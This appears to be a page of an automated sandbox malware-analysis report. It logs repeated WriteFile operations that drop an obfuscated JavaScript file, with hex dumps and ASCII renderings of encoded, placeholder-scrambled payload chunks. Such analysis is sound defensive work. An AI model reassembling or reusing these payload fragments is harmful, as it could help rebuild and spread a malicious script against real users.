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C:\Users\user\bgddtomvyl.js unknown 1024 7d 4d 5a 6b 63 74 50 
43 56 79 61 79 74 61 
4e 6d 52 6c 55 57 7b 
31 7d 76 65 6c 56 72 
59 58 6f 7a 4b 7a 4e 
45 4d 45 7b 31 7d 6e 
56 6b 78 55 4f 57 52 
31 4f 57 49 34 7b 30 
7d 7a 4e 72 5a 6b 39 
77 57 6d 5a 32 59 6c 
46 53 5a 30 74 71 62 
30 5a 48 59 6d 46 46 
4f 55 34 76 4e 31 5a 
34 61 45 56 76 5a 7a 
42 32 51 32 4e 35 56 
30 6f 76 59 6e 6f 34 
56 53 30 38 4a 53 39 
33 5a 48 6c 30 4c 7b 
30 7d 77 6c 7b 30 7d 
47 64 43 5a 7b 32 7d 
67 31 62 6b 7b 31 7d 
4a 55 30 77 31 55 7b 
30 7d 52 30 55 6c 52 
4d 62 6d 68 52 5a 46 
52 77 4e 7b 32 7d 6c 
58 4f 56 7b 31 7d 7b 
30 7d 63 57 56 32 5a 
6a 6c 43 4d 6c 6c 76 
4c 7b 30 7d 77 6c 53 
33 68 55 62 46 4a 7a 
4d 6b 6c 4f 63 33 56 
6d 64 6e 7b 31 7d 6b 
53 53 39 7a 59 57 38 
31 5a 46 59 34 5a 6b 
39 4e 51 6b 64 6d 65 
6a 6c 49 65 57 7b 31 
7d 71 59 

}MZkctPCVyaytaNmRlUW{
1}velVrYX
ozKzNEME{1}nVkxUOWR
1OWI4{0}zNr
Zk9wWmZ2YlFSZ0tqb0ZH
YmFFOU4vN1
Z4aEVvZzB2Q2N5V0ovYn
o4VS08JS93
ZHl0L{0}wl{0}GdCZ{2}g1bk
{1}JU0
w1U{0}R0UlRMbmhRZFRw
N{2}lXOV{1}
{0}cWV2ZjlCMllvL{0}wlS3h
UbFJz
MklOc3Vmdn{1}kSS9zYW
81ZFY4Zk9N
QkdmejlIeW{1}qY
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C:\Users\user\bgddtomvyl.js unknown 1024 4e 32 52 75 4e 7b 32 
7d 46 57 62 6d 5a 59 
63 55 56 74 53 57 31 
61 52 7b 32 7d 6c 76 
53 57 35 53 53 6c 68 
75 62 45 78 79 52 79 
39 6a 7b 30 7d 58 6c 
61 7b 30 7d 30 6c 6a 
63 55 68 76 52 53 39 
30 4f 48 68 79 52 6d 
4e 35 4d 6c 55 76 59 
58 6c 61 7b 30 7d 32 
39 7b 32 7d 53 32 31 
75 64 57 52 6b 62 46 
46 4a 52 6c 7b 31 7d 
34 56 48 64 35 63 6c 
7b 31 7d 43 53 32 4a 
79 4d 31 5a 35 63 7b 
32 7d 4a 79 5a 55 52 
4f 7b 30 7d 33 52 75 
7b 30 7d 7b 30 7d 41 
30 55 7a 63 79 65 56 
64 48 4e 32 68 43 7b 
30 7d 58 67 30 7b 30 
7d 6c 45 72 7b 30 7d 
45 5a 7b 30 7d 62 46 
46 4a 4c 7b 30 7d 77 
6c 65 7b 32 7d 5a 47 
61 6b 7b 31 7d 4f 7b 
30 7d 6d 7b 31 7d 33 
56 6e 67 76 64 33 45 
7a 64 46 6f 34 5a 33 
4e 72 5a 6b 56 46 61 
6a 68 49 62 45 31 59 
53 6d 74 76 52 31 68 
49 5a 7b 32 7d 59 34 
65 6b 4a 

N2RuN{2}FWbmZYcUVtS
W1aR{2}lvSW
5SSlhubExyRy9j{0}Xla{0}0
ljcUhv
RS90OHhyRmN5MlUvYXl
a{0}29{2}S2
1udWRkbFFJRl{1}4VHd5cl
{1}CS2Jy
M1Z5c{2}JyZURO{0}3Ru{0
}{0}A0Uz
cyeVdHN2hC{0}Xg0{0}lEr{
0}EZ{0}
bFFJL{0}wle{2}ZGak{1}O{0
}m{1}3
Vngvd3EzdFo4Z3NrZkVFa
jhIbE1YSm
tvR1hIZ{2}Y4ekJ
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C:\Users\user\bgddtomvyl.js unknown 1024 46 7b 31 7d 56 46 4e 
55 4e 7a 56 45 61 7b 
32 7d 45 31 59 58 4d 
72 64 6b 68 35 61 47 
4d 7a 59 6e 6f 31 65 
7b 30 7d 45 77 62 55 
31 79 7b 30 7d 6b 4e 
7a 7b 30 7d 47 4e 6a 
56 32 49 33 61 33 68 
47 53 6b 5a 43 61 30 
74 6e 7b 30 7d 6e 51 
31 57 48 7b 31 7d 7b 
32 7d 4b 32 78 33 62 
7a 4e 4e 59 33 45 72 
7b 30 7d 6b 59 72 5a 
79 30 38 4a 56 7b 31 
7d 7b 31 7d 52 56 46 
68 57 56 46 4f 61 55 
67 32 59 58 7b 31 7d 
55 62 6a 68 71 5a 6d 
49 30 59 6c 59 32 7b 
30 7d 57 31 72 4e 6b 
52 78 4e 31 64 33 56 
6a 59 7a 56 57 7b 31 
7d 57 4c 7b 30 7d 77 
6c 4d 6c 42 35 4d 6b 
30 33 61 32 46 4f 4e 
6e 64 34 4b 32 45 72 
7b 30 7d 7b 32 7d 59 
7a 64 7b 32 7d 46 43 
62 45 4a 7b 31 7d 56 
58 55 35 55 58 56 78 
57 6a 46 49 63 46 51 
34 52 79 30 38 4a 57 
67 7a 52 57 5a 4e 61 
7a 63 79 56 45 52 48 
4f 7b 32 

F{1}VFNUNzVEa{2}E1YX
Mrdkh5aGMz
Yno1e{0}EwbU1y{0}kNz{0}
GNjV2I3
a3hGSkZCa0tn{0}nQ1WH{
1}{2}K2x3
bzNNY3Er{0}kYrZy08JV{1}
{1}RVFh
WVFOaUg2YX{1}UbjhqZm
I0YlY2{0}W
1rNkRxN1d3VjYzVW{1}WL
{0}wlMlB5
Mk03a2FONnd4K2Er{0}
{2}Yzd{2}FC
bEJ{1}VXU5UXVxWjFIcF
Q4Ry08JWgz
RWZNazcyVERHO{2
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C:\Users\user\bgddtomvyl.js unknown 1024 59 34 59 33 7b 31 7d 
4f 4d 7b 32 7d 63 78 
55 6b 52 32 61 56 52 
51 57 6d 35 71 61 47 
64 6f 51 30 39 73 64 
33 4e 56 51 6c 4e 36 
63 31 7b 31 7d 30 53 
32 67 76 7b 30 7d 30 
4a 53 4c 79 30 38 4a 
7b 30 7d 51 31 65 6a 
52 61 55 7a 46 68 52 
48 6f 34 5a 47 4a 34 
63 47 7b 31 7d 4d 4e 
57 4a 56 62 57 34 74 
50 43 55 7a 57 6b 59 
72 7b 30 7d 46 4a 6d 
56 56 56 79 65 57 4a 
6c 56 7b 30 7d 6b 32 
61 7a 4a 33 4c 7b 30 
7d 77 6c 5a 57 6c 72 
4e 55 34 7a 57 6e 5a 
48 52 6c 68 76 4e 46 
64 7b 30 7d 61 58 46 
33 59 55 4e 73 63 58 
52 33 4e 55 52 32 63 
30 67 7a 55 30 52 7a 
55 57 52 31 4d 7b 32 
7d 63 31 52 58 4a 51 
4e 30 68 47 53 6b 78 
4b 59 58 4e 51 56 45 
77 7a 63 57 34 31 5a 
6e 59 32 7b 30 7d 47 
55 79 59 6e 55 74 50 
43 56 35 7b 30 7d 48 
4d 31 7b 30 7d 6b 31 
34 4b 32 4a 74 62 30 
4e 69 55 

Y4Y3{1}OM{2}cxUkR2aVR
QWm5qaGdo
Q09sd3NVQlN6c1{1}0S2g
v{0}0JSLy
08J{0}Q1ejRaUzFhRHo4Z
GJ4cG{1}M
NWJVbW4tPCUzWkYr{0}F
JmVVVyeWJl
V{0}k2azJ3L{0}wlZWlrNU4
zWnZHRl
hvNFd{0}aXF3YUNscXR3
NUR2c0gzU0
RzUWR1M{2}c1RXJQN0h
GSkxKYXNQVE
wzcW41ZnY2{0}GUyYnUt
PCV5{0}HM1
{0}k14K2Jtb0NiU
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C:\Users\user\bgddtomvyl.js unknown 1024 30 7d 42 43 57 6b 7b 
31 7d 75 52 55 56 33 
51 6a 49 7a 57 69 39 
53 53 6a 52 6d 64 45 
78 56 65 48 7b 31 7d 
45 4d 57 52 35 4e 55 
73 79 51 32 46 47 5a 
6b 67 72 52 7b 30 7d 
4a 5a 4b 32 56 51 62 
45 52 51 57 57 4a 47 
63 57 74 79 5a 48 4e 
33 51 6b 52 4d 7b 30 
7d 7a 51 34 57 7b 30 
7d 5a 58 63 46 7b 31 
7d 61 52 46 7b 31 7d 
79 61 30 39 32 4d 45 
35 79 53 43 30 38 4a 
55 31 69 7b 30 7d 45 
67 35 59 7b 30 7d 4d 
35 52 55 5a 49 55 7b 
30 7d 56 77 64 6d 4e 
56 7b 30 7d 58 55 30 
7b 30 7d 31 52 6b 62 
56 46 6d 63 55 78 55 
52 6d 46 7b 30 7d 56 
31 4a 45 57 6a 68 77 
4e 55 56 43 61 6d 4e 
4e 62 6b 5a 74 56 7a 
4a 6c 4e 30 74 7a 4c 
7b 30 7d 77 6c 62 47 
64 7b 31 7d 4f 57 55 
74 50 43 56 6d 59 6a 
42 72 64 53 38 34 64 
6e 42 58 53 45 6c 45 
5a 32 31 58 64 6e 46 
73 62 30 59 76 61 31 
5a 4f 7b 

0}BCWk{1}uRUV3QjIzWi9
SSjRmdExV
eH{1}EMWR5NUsyQ2FGZ
kgrR{0}JZK2
VQbERQWWJGcWtyZHN
3QkRM{0}zQ4W{
0}ZXcF{1}aRF{1}ya092ME
5ySC08JU
1i{0}Eg5Y{0}M5RUZIU{0}V
wdmNV{0
}XU0{0}1RkbVFmcUxURm
F{0}V1JEWj
hwNUVCamNNbkZtVzJlN0
tzL{0}wlbG
d{1}OWUtPCVmYjBrdS84
dnBXSElEZ2
1XdnFsb0Yva1ZO{
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C:\Users\user\bgddtomvyl.js unknown 1024 5a 32 39 76 51 6e 5a 
4f 59 33 64 36 56 7b 
30 7d 42 50 59 30 7b 
31 7d 58 62 79 30 38 
4a 57 4a 53 63 69 73 
77 62 31 64 4d 51 32 
64 51 4c 7b 30 7d 77 
6c 53 6b 4a 55 53 57 
64 7b 32 7d 4d 57 46 
30 4d 33 51 72 59 55 
39 30 4c 7a 52 7b 31 
7d 57 6c 4e 56 52 33 
68 53 57 7b 30 7d 68 
6c 5a 48 64 76 7b 30 
7d 53 30 38 4a 58 42 
6f 62 32 4d 74 50 43 
56 7a 4f 57 74 33 4d 
32 35 7b 31 7d 4c 33 
5a 58 4d 53 74 31 5a 
6a 52 6b 4d 53 39 72 
62 6d 68 48 65 46 7b 
31 7d 74 4c 7b 30 7d 
77 6c 4e 47 78 6e 59 
58 4e 4e 51 32 68 30 
4c 7b 30 7d 77 6c 53 
31 7b 31 7d 33 53 7b 
32 7d 64 4d 57 56 5a 
6e 53 33 51 74 50 43 
56 4f 53 33 5a 32 64 
33 68 6d 5a 30 56 58 
4d 57 6c 73 63 7b 30 
7d 68 35 61 6c 64 6c 
55 32 31 77 5a 57 74 
7b 32 7d 55 48 4d 76 
7b 30 7d 79 30 38 4a 
58 46 46 64 48 5a 5a 
56 58 52 

Z29vQnZOY3d6V{0}BPY0{
1}Xby08JW
JSciswb1dMQ2dQL{0}wlS
kJUSWd{2}
MWF0M3QrYU90LzR{1}Wl
NVR3hSW{0}
hlZHdv{0}S08JXBob2MtP
CVzOWt3M2
5{1}L3ZXMSt1ZjRkMS9rb
mhHeF{1}t
L{0}wlNGxnYXNNQ2h0L{0}
wlS1{1}3
S{2}dMWVZnS3QtPCVOS
3Z2d3hmZ0VX
MWlsc{0}h5aldlU21wZWt{2
}UHMv{0
}y08JXFFdHZZVXR
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C:\Users\user\bgddtomvyl.js unknown 1024 42 33 53 56 7b 31 7d 
78 63 6e 52 6c 52 45 
4a 74 4e 6b 56 73 5a 
30 38 31 53 6d 74 4a 
7b 30 7d 30 35 6a 65 
58 56 49 52 46 4e 72 
4d 7b 30 7d 52 79 4e 
53 38 74 50 43 55 78 
56 6d 56 6c 4c 31 68 
77 53 58 46 52 63 58 
4a 46 4b 33 4e 7b 31 
7d 53 6e 52 4f 63 57 
68 48 63 6a 41 31 61 
56 55 72 61 57 5a 77 
63 6a 42 6d 63 48 56 
6f 5a 56 42 53 52 7a 
6b 30 57 6e 4a 6e 5a 
55 4a 77 4f 45 55 7a 
4e 45 30 33 64 6c 52 
58 62 6b 56 4f 57 58 
4a 61 59 32 30 76 62 
30 73 74 50 43 56 48 
4e 47 39 30 5a 7a 52 
4b 61 7a 56 72 4d 7b 
30 7d 6c 78 53 7a 63 
79 4f 48 46 31 51 33 
6b 33 5a 7b 30 7d 64 
46 61 7a 6c 48 64 32 
7b 31 7d 55 4e 58 46 
46 63 6e 56 68 65 48 
42 34 5a 56 52 43 59 
33 51 78 55 7b 30 7d 
68 35 51 30 68 4e 62 
6b 77 31 4b 30 4a 47 
64 31 56 4e 4d 45 38 
79 64 48 59 33 4d 6d 
49 30 52 

B3SV{1}xcnRlREJtNkVsZ0
81SmtJ{0
}05jeXVIRFNrM{0}RyNS8t
PCUxVmVl
L1hwSXFRcXJFK3N{1}Sn
ROcWhHcjA1
aVUraWZwcjBmcHVoZVB
SRzk0WnJnZU
JwOEUzNE03dlRXbkVOW
XJaY20vb0st
PCVHNG90ZzRKazVrM{0}
lxSzcyOHF1
Q3k3Z{0}dFazlHd2{1}UNX
FFcnVheH
B4ZVRCY3QxU{0}h5Q0hN
bkw1K0JGd1
VNME8ydHY3MmI0R
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C:\Users\user\bgddtomvyl.js unknown 243 31 7b 32 7d 61 6e 56 
50 63 6e 6c 34 5a 33 
4a 45 61 30 52 6d 62 
31 67 31 53 7b 32 7d 
68 7b 32 7d 56 32 56 
75 64 31 6c 71 4e 7b 
32 7d 59 32 5a 57 56 
6d 5a 47 64 76 53 69 
39 4a 56 6e 5a 74 59 
30 73 76 61 57 46 7b 
31 7d 52 6c 5a 74 59 
57 39 50 52 56 68 79 
62 30 56 4c 4f 47 56 
6b 56 6e 56 50 5a 33 
4e 4b 62 32 78 34 4d 
58 42 49 65 47 74 6c 
64 47 39 4e 59 33 4e 
75 57 47 4e 56 4c 7b 
30 7d 77 6c 55 57 64 
58 7b 30 7d 6b 68 6f 
5a 6c 4a 52 65 6b 55 
79 53 7b 30 7d 68 56 
61 6e 4e 49 55 45 31 
53 62 6e 5a 6b 4e 7a 
4a 79 59 6b 56 55 56 
48 46 75 4f 57 39 35 
52 7b 32 7d 5a 6d 65 
58 5a 4e 4c 7b 30 7d 
77 6c 65 57 5a 53 65 
7b 32 7d 46 58 4d 7a 
5a 51 4e 57 39 68 55 
47 7b 31 7d 50 4f 48 
4d 76 4d 48 6c 7b 32 
7d 52 6c 6c 6a 64 58 
4a 73 64 6b 64 

1{2}anVPcnl4Z3JEa0Rmb
1g1S{2}h{
2}V2Vud1lqN{2}Y2ZWVmZ
GdvSi9JVn
ZtY0svaWF{1}RlZtYW9PR
Vhyb0VLOG
VkVnVPZ3NKb2x4MXBIe
GtldG9NY3Nu
WGNVL{0}wlUWdX{0}khoZ
lJRekUyS{
0}hVanNIUE1SbnZkNzJyY
kVUVHFuOW
95R{2}ZmeXZNL{0}wleWZ
Se{2}FXMz
ZQNW9hUG{1}POHMvMHl
{2}RlljdXJsdkd
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C:\Users\user\bgddtomvyl.js unknown 1024 4c 55 79 39 35 4b 30 
78 4f 57 6c 4a 71 57 
58 68 53 55 32 4e 78 
52 7a 6c 75 53 32 4a 
35 4c 33 6c 68 4d 33 
68 7b 31 7d 56 45 49 
7a 57 58 56 50 4e 30 
4a 6e 51 6d 31 69 63 
57 68 4f 64 56 56 35 
55 55 7b 31 7d 48 57 
56 4e 56 5a 6d 74 72 
51 6c 64 57 59 55 64 
73 4d 6d 46 4b 63 30 
4a 33 52 32 78 61 52 
48 46 7a 52 48 46 34 
65 6b 35 35 53 32 5a 
78 7b 30 7d 6b 4a 5a 
55 7b 30 7d 4a 57 65 
57 77 34 56 56 4d 79 
4e 57 4e 6a 7b 30 7d 
6e 68 68 4d 6a 4e 31 
5a 56 42 6f 56 47 52 
76 57 6d 34 72 64 33 
68 53 62 33 7b 31 7d 
7b 30 7d 61 47 78 53 
4d 7b 32 7d 52 58 62 
56 6c 74 62 53 30 38 
4a 53 74 47 61 48 68 
77 52 31 52 6f 64 57 
7b 31 7d 4c 57 6b 63 
79 52 47 51 74 50 43 
56 32 53 55 52 6d 51 
32 31 33 63 6d 46 33 
4f 48 5a 33 64 45 4e 
7b 30 7d 59 56 4a 53 
7b 30 7d 6c 41 77 4d 
45 77 34 

LUy95K0xOWlJqWXhSU2
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78 78 52 32 6c 69 62 
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39 4b 55 48 67 32 4c 
7b 30 7d 77 6c 56 7b 
30 7d 5a 4f 5a 6a 42 
75 61 79 30 38 4a 55 
59 78 4e 45 74 58 61 
55 4e 47 65 7b 30 7d 
59 35 4c 30 77 72 62 
46 46 50 64 57 4e 36 
59 6c 68 74 56 6b 77 
32 4e 47 6f 78 62 7b 
32 7d 51 32 63 55 64 
72 61 6d 56 35 63 47 
6b 77 52 31 68 7b 32 
7d 53 48 46 34 65 6b 
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43 56 6f 53 48 4a 7b 
31 7d 52 58 42 36 55 
33 42 55 61 48 49 7a 
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73 76 59 31 4a 6f 7b 
30 7d 58 68 50 65 6b 
6c 4e 5a 47 6c 6f 4d 
55 52 7b 32 7d 7b 30 
7d 6c 42 55 51 6e 6b 
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65 55 56 52 52 53 74 
45 51 6c 42 7b 31 7d 
55 6d 78 4c 62 57 64 
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74 49 4e 6b 4e 75 52 
47 34 76 5a 48 55 35 
52 57 31 50 56 6b 4a 
71 56 30 7b 31 7d 7b 
30 7d 7b 30 7d 48 5a 
46 4e 47 78 7b 31 7d 
52 7b 32 7d 46 7b 30 
7d 55 7b 30 7d 68 6f 
61 45 64 51 53 48 6b 
74 50 43 56 4b 7b 30 
7d 7b 30 7d 64 50 59 
30 52 55 61 6b 4a 78 
57 45 5a 48 53 7b 30 
7d 68 5a 4c 7b 30 7d 
77 6c 4d 48 64 72 4c 
7b 30 7d 77 6c 57 6d 
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4e 58 6c 6b 52 6a 45 
32 4e 57 35 78 65 53 
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6b 56 58 55 47 39 35 
53 45 35 6f 4d 57 52 
7b 30 7d 7b 30 7d 47 
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62 32 39 31 55 6d 52 
53 55 6a 63 79 65 56 
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68 47 63 32 4e 33 65 
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4e 30 7b 31 7d 53 55 
47 78 74 51 32 52 4b 
63 30 6c 78 5a 32 4a 
31 55 57 51 31 7b 30 
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79 5a 57 6c 73 56 45 
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53 6e 46 4e 53 45 78 
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30 7d 4a 57 5a 79 30 
38 4a 7b 30 7d 5a 35 
65 48 68 6d 4f 57 64 
57 63 58 5a 6b 65 7b 
32 7d 6c 55 53 47 78 
53 59 7a 59 7a 63 55 
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32 7d 64 4b 4e 33 56 
76 61 6b 78 6f 62 55 
4a 4f 56 47 56 57 64 
55 31 36 5a 6d 59 7a 
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59 56 6b 30 57 6d 4d 
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7b 32 7d 52 4e 65 6c 
46 4a 59 31 4e 45 52 
7a 56 51 4e 7b 32 7d 
64 6f 51 6a 46 7b 31 
7d 61 45 5a 58 5a 53 
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4c 7b 30 7d 77 6c 55 
69 74 74 53 57 74 45 
4d 56 64 4b 57 6b 6c 
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56 6b 63 79 63 45 7b 
31 7d 4b 56 45 5a 47 
4e 56 4d 77 65 57 4a 
30 61 7b 30 7d 52 61 
51 31 56 4e 4c 7b 30 
7d 77 6c 61 6e 52 47 
56 7a 64 51 4e 31 6f 
72 57 47 4a 4e 53 57 
56 46 4e 

dzE3UW4rb3BnWnEvNFl3
dnUvWk1SeE
hLOVZ6V1JhRXB{1}d01sZ
ndSSkowRj
E5Un{1}4YnV5L{0}wlMk5F
M{0}VOdH
VXNGxNU0h{2}VXFvd04x
SnF{0}S{0}
d4blVSVFFEb3Rm{0}
{2}NOY05QQ2h1
Ql{1}RZEZod3ZCMHdX{0}
{2}B6RGVJ
cHRiSlVXZ29uV2RtVkcyc
E{1}KVEZG
NVMweWJ0a{0}RaQ1VNL{
0}wlanRGVz
dQN1orWGJNSWVFN

success or wait 2 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 4e 30 64 33 55 48 46 
31 4e 32 7b 31 7d 4b 
53 7b 32 7d 4d 31 56 
47 31 35 57 46 6c 61 
63 6e 52 69 61 46 64 
5a 5a 58 59 79 53 7b 
32 7d 4a 55 51 6c 5a 
4e 64 30 4e 48 51 6b 
73 30 64 57 7b 31 7d 
7b 31 7d 51 6e 6f 72 
53 47 74 48 56 7b 32 
7d 4a 6c 57 7b 30 7d 
6c 73 52 45 51 79 61 
6d 56 53 7b 30 7d 6e 
63 77 61 6a 67 77 59 
31 4e 76 65 6b 4a 31 
62 47 78 5a 52 6d 4a 
79 65 7b 32 7d 46 58 
57 45 35 4a 53 43 39 
73 56 6d 64 57 4c 30 
52 52 57 58 64 34 53 
33 4e 48 64 6d 7b 31 
7d 49 55 30 64 55 53 
6b 78 51 59 57 35 58 
63 57 45 79 52 32 77 
78 55 48 56 7a 7b 30 
7d 33 4a 5a 63 46 6c 
79 61 45 73 74 50 43 
56 6b 4e 33 4d 74 50 
43 56 56 57 6d 39 6b 
4d 45 7b 31 7d 4b 62 
47 46 6b 7b 30 7d 56 
5a 35 62 31 68 49 53 
6c 59 31 63 56 42 30 
56 7a 4e 5a 4e 6c 46 
34 53 30 6c 45 63 33 
5a 73 5a 

N0d3UHF1N2{1}KS{2}M1V
G15WFlacn
RiaFdZZXYyS{2}JUQlZNd
0NHQks0dW{1}
{1}QnorSGtHV{2}JlW{0}lsR
EQy
amVS{0}ncwajgwY1NvekJ
1bGxZRmJy
e{2}FXWE5JSC9sVmdWL
0RRWXd4S3NH
dm{1}IU0dUSkxQYW5Xc
WEyR2wxUHVz
{0}3JZcFlyaEstPCVkN3Mt
PCVVWm9k
ME{1}KbGFk{0}VZ5b1hISl
Y1cVB0Vz
NZNlF4S0lEc3ZsZ

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright Joe Security LLC 2021 Page 238 of 577



C:\Users\user\bgddtomvyl.js unknown 1024 4a 72 55 45 35 56 56 
56 52 35 62 58 64 52 
63 31 52 77 4d 32 5a 
75 7b 30 7d 48 52 50 
62 55 52 6b 63 7b 30 
7d 4d 30 4e 7b 30 7d 
5a 49 52 31 7b 31 7d 
69 4d 47 46 79 62 6c 
55 7a 57 6b 68 36 4f 
56 5a 76 56 58 63 74 
50 43 56 76 5a 57 56 
6d 61 30 4a 69 61 6a 
52 5a 53 55 31 47 55 
33 52 31 56 45 64 6c 
4d 53 74 56 57 56 42 
72 4e 47 4a 47 59 6b 
39 61 53 30 78 31 5a 
6a 6c 76 59 31 41 31 
7b 30 7d 47 59 31 4e 
47 35 61 61 58 59 30 
53 6b 74 48 64 7a 67 
33 64 56 6c 7b 32 7d 
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52 77 65 55 52 6c 62 
30 64 49 59 6b 63 31 
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56 6c 5a 57 56 58 56 
6a 51 78 56 45 59 32 
4c 7b 30 7d 77 6c 7b 
30 7d 6a 52 4d 7b 30 
7d 47 56 6c 52 58 68 
52 4f 43 74 7b 31 7d 
5a 6e 6c 53 4d 6d 38 
7a 53 7b 30 7d 6c 72 
4b 30 39 31 5a 7a 6c 
7a 64 47 7b 31 7d 4f 
65 56 52 6a 57 6d 78 
55 4e 6e 5a 35 55 56 
42 32 57 47 7b 31 7d 
4f 4f 55 35 73 55 43 
74 47 4d 55 68 36 59 
31 42 30 55 6b 56 68 
64 31 4d 32 55 55 74 
55 62 57 74 53 4d 45 
74 56 56 33 4d 35 62 
6d 35 49 4d 46 52 59 
61 57 4a 49 51 30 56 
76 65 6b 64 78 52 53 
74 6a 61 6c 6c 33 56 
7b 32 7d 64 43 7b 30 
7d 47 30 31 56 48 59 
72 4c 7b 30 7d 77 6c 
5a 46 42 68 52 56 6c 
4c 62 31 6c 36 65 58 
63 72 5a 58 6b 7a 56 
55 4a 6e 4c 7b 30 7d 
77 6c 53 

Uy08JWd2LzZqMXZnZEx
GRUdQMlNHLz
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5a 31 6c 4c 55 48 4e 
36 59 56 68 30 4f 58 
7b 31 7d 68 63 6c 5a 
61 4b 33 4a 4a 63 47 
4e 6d 4d 33 5a 7b 32 
7d 7b 30 7d 47 4e 7b 
30 7d 53 79 73 78 57 
47 68 73 65 6c 59 79 
7b 30 7d 58 46 72 56 
56 56 50 7b 30 7d 56 
4a 53 4e 7b 30 7d 4a 
35 5a 6d 45 34 63 57 
74 7a 55 6b 74 52 65 
6e 64 74 7b 30 7d 6c 
7b 31 7d 6f 61 45 49 
76 59 7b 30 7d 68 74 
52 33 51 78 5a 6b 74 
78 4d 32 6c 74 51 6d 
46 4f 52 6c 49 77 51 
7a 56 52 4d 7b 32 7d 
56 6a 63 58 42 75 59 
32 6c 69 53 30 74 59 
52 58 42 53 51 6e 6b 
76 55 7a 6c 32 59 32 
7b 31 7d 4d 61 7b 30 
7d 64 68 52 7a 51 72 
62 57 51 7a 64 33 41 
76 7b 30 7d 30 63 34 
57 58 68 50 4e 47 52 
35 5a 79 39 71 64 6a 
4d 76 5a 6b 39 79 52 
33 4a 6c 4d 30 4e 61 
56 30 31 59 4f 7b 32 
7d 4e 50 53 57 6c 6d 
57 6d 56 

R3QlRuNHBtbXBFZ1lLUH
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C:\Users\user\bgddtomvyl.js unknown 1024 6c 57 7b 30 7d 31 68 
78 51 6b 6c 61 64 7b 
32 7d 6c 75 59 30 35 
32 4e 6d 30 79 56 58 
4e 4f 4d 6e 42 71 63 
7b 30 7d 51 72 53 57 
52 59 4e 6e 5a 6c 51 
7a 4e 47 57 57 52 6d 
63 56 6f 31 61 58 59 
76 56 58 52 69 63 7b 
30 7d 5a 5a 5a 30 68 
77 52 32 6c 56 64 47 
77 77 52 6a 56 68 4e 
45 4a 79 4f 57 68 47 
57 45 31 6d 5a 30 4e 
79 59 55 56 57 59 56 
68 7b 30 7d 4e 46 56 
4a 4d 79 30 38 4a 57 
64 50 56 7b 32 7d 68 
36 53 7a 5a 78 59 7b 
30 7d 4e 4d 4b 33 46 
55 64 7b 30 7d 68 33 
62 6d 74 6b 4c 7b 30 
7d 77 6c 4c 33 45 74 
50 43 56 6a 65 56 6f 
78 56 6d 68 36 7b 30 
7d 32 5a 4f 55 30 4a 
7b 30 7d 4d 30 4e 36 
52 57 59 33 63 45 30 
33 4c 7a 6c 69 4d 69 
74 46 4d 7b 32 7d 41 
35 62 48 45 33 51 6b 
38 34 53 7b 32 7d 49 
72 53 57 74 51 4d 55 
31 61 53 31 5a 58 55 
30 4e 7a 62 43 39 47 
52 58 46 
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7a 61 53 73 33 51 30 
7b 31 7d 68 64 6b 39 
58 4d 7b 30 7d 68 4c 
7b 30 7d 55 6f 35 62 
33 4a 32 64 56 64 77 
56 58 42 49 62 69 74 
56 56 46 46 69 65 58 
41 77 4e 45 5a 6c 63 
6a 56 47 53 47 5a 77 
62 47 39 6a 59 33 46 
36 5a 31 42 50 5a 56 
6c 61 4f 53 73 78 5a 
30 4e 7a 57 45 56 61 
61 30 49 32 4d 6a 4d 
34 53 33 6c 52 7b 30 
7d 57 78 6b 61 33 41 
7a 62 56 6c 4c 65 6b 
68 51 59 32 4e 6e 61 
6b 52 52 57 45 35 32 
61 47 78 4c 55 7b 32 
7d 68 30 64 7b 32 7d 
4a 5a 61 6d 46 75 63 
6c 42 5a 57 46 68 33 
55 57 46 77 7b 30 7d 
57 31 4f 64 57 7b 31 
7d 31 5a 57 6c 31 7b 
30 7d 48 6c 55 4c 7b 
30 7d 77 6c 63 48 42 
74 61 53 39 4e 55 31 
49 30 5a 7b 32 7d 42 
7a 5a 47 78 6f 4d 45 
4a 68 4d 47 51 30 4e 
30 4a 76 5a 6b 73 34 
64 69 30 

bU9tS1ZFVldQ{0}21kdnBz
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C:\Users\user\bgddtomvyl.js unknown 1024 56 6f 5a 46 42 72 57 
7b 32 7d 68 7a 53 45 
5a 6f 52 6a 6c 36 53 
30 5a 55 5a 46 4e 33 
61 6d 7b 31 7d 4b 63 
7b 30 7d 52 52 65 58 
4e 76 56 48 7b 31 7d 
77 64 48 56 50 62 31 
52 52 64 33 5a 7b 32 
7d 53 48 52 55 56 56 
68 57 52 48 68 48 62 
45 52 69 57 6a 46 49 
51 6c 4e 68 7b 30 7d 
6d 39 4f 4d 32 46 51 
4e 6a 55 77 61 57 74 
48 56 31 56 73 56 31 
68 56 64 55 6c 4a 4d 
6a 52 5a 5a 7b 30 7d 
46 71 4d 6b 6c 79 59 
31 51 33 59 7a 45 30 
52 32 64 30 59 6b 39 
57 63 48 41 72 63 6d 
39 59 57 46 7b 31 7d 
52 63 7b 30 7d 64 53 
53 56 45 32 7b 30 7d 
45 35 59 4c 30 64 52 
61 33 52 49 4d 7a 68 
6e 53 48 67 34 4d 53 
30 38 4a 7b 30 7d 45 
7a 7b 30 7d 45 78 53 
51 6d 64 52 61 45 52 
48 51 32 7b 31 7d 4d 
61 55 7b 31 7d 4e 56 
6b 7b 31 7d 34 56 30 
6f 32 4d 32 5a 7b 32 
7d 64 33 4a 61 61 43 
39 57 62 

VoZFBrW{2}hzSEZoRjl6S
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30 55 76 4e 32 49 74 
50 43 55 30 52 31 56 
75 62 47 5a 47 55 33 
52 68 51 6c 42 75 4d 
33 42 6b 7b 30 7d 6d 
78 45 51 6e 64 4d 4e 
46 4a 6b 63 47 46 4c 
4f 48 42 30 63 33 51 
32 4b 30 68 51 61 6a 
64 45 4e 43 39 49 62 
57 55 30 4d 57 55 77 
53 31 5a 47 53 57 38 
35 56 33 56 5a 4f 56 
41 76 63 6b 73 31 57 
46 7b 31 7d 79 56 56 
45 7a 62 56 6c 6e 51 
31 52 34 55 30 31 72 
7b 30 7d 46 6c 4e 63 
6c 68 6d 51 32 7b 31 
7d 76 51 6e 55 7a 55 
58 46 4b 51 6d 35 4d 
63 57 68 33 65 48 46 
46 4f 57 4e 68 56 46 
4e 6d 4e 57 68 52 5a 
6b 64 6e 61 47 46 4e 
64 46 5a 50 4e 56 56 
33 7b 30 7d 58 4a 4d 
52 32 7b 31 7d 61 59 
55 39 68 4e 48 6c 6c 
61 47 59 30 65 48 68 
5a 51 6b 56 57 62 7b 
32 7d 6c 6c 4d 6d 39 
